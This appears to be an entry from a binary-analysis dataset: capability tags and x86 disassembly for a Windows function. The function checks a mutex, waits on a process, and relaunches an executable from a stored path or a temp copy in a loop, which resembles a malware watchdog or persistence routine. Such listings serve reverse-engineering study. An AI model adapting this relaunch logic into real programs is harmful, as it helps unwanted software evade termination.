Function at 0x40a906
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
xor edi, edi
push dword [0x41b15c]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea eax, [ebp - 0x838]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x41bcc0
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x220]
push 0x208
mov ebx, 0x41ba38
push eax
push str.exepath
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, closesocket
push eax
push esi
call fcn.0040b692
add esp, 0x1c
test al, al
jne 0x40a985
push edi
call dword [sym.imp.MSVCRT.dll_exit]
lea eax, [ebp - 1]
lea ecx, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00412ddf
pop ecx
test al, al
pop ecx
jne 0x40a9af
push edi
call dword [sym.imp.MSVCRT.dll_exit]
push dword [ebp + 8]
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0xffffffffffffffff
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x416868
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b829
add esp, 0x10
test al, al
je 0x40ab28
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40aa32
lea eax, [ebp - 0x220]
push edi
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call fcn.00412d56
add esp, 0x10
test al, al
je 0x40aa48
push 1
push edi
lea eax, [ebp - 0x220]
push edi
push eax
push str.open
push edi
jmp 0x40aad2
mov ecx, 0x82
xor eax, eax
lea edi, [ebp - 0x630]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x630]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x428]
push eax
push 0
lea eax, [ebp - 0x630]
push str.temp_
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x428]
push str..exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x428]
push 0
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
lea ecx, [ebp - 0x18]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call fcn.00412d56
add esp, 0x10
test al, al
je 0x40aad8
xor eax, eax
push 1
push eax
lea ecx, [ebp - 0x428]
push eax
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp + 8]
mov edi, 0x416524
push eax
push edi
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b4c8
add esp, 0x10
mov byte [ebp - 1], al
test al, al
je 0x40ab10
push edi
mov ecx, ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b95b
add esp, 0xc
jmp 0x40ab1b
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], 0
je 0x40aad8
xor edi, edi
jmp 0x40a9af
push 1
call dword [sym.imp.MSVCRT.dll_exit]
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
mov ebx, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
push esi
push edi
push 0x415800
push 0x41ba28
call ebx
pop ecx
mov esi, 0x41bcc0
test al, al
pop ecx
je 0x40abe2
and word [ebp - 0x208], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x206]
rep stosd dword es:[edi], eax
mov ecx, esi
stosw word es:[edi], ax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x208]
push 0x410
push eax
push str.exepath
mov ecx, 0x41ba38
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b692
add esp, 0x1c
test al, al
je 0x40abc8
lea eax, [ebp - 0x208]
mov ecx, 0x41ba28
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
push 0x415800
push 0x41ba28
call ebx
pop ecx
test al, al
pop ecx
je 0x40abe2
push 1
pop eax
jmp 0x40ac85
cmp byte [0x41bd68], 0
je 0x40ac83
mov edi, 0x41ba28
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x41ba21], 0
je 0x40ac2e
mov ecx, 0x41ba48
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
mov al, byte [0x41ba20]
push eax
mov al, byte [0x41bc64]
push eax
mov al, byte [0x41ba58]
push eax
call fcn.00407d53
add esp, 0x10
push 3
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
mov ecx, edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push str.exepath
mov ecx, 0x41ba38
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push closesocket
call fcn.0040b8f8
add esp, 0x20
cmp byte [0x41bd68], 0
jne 0x40abf4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4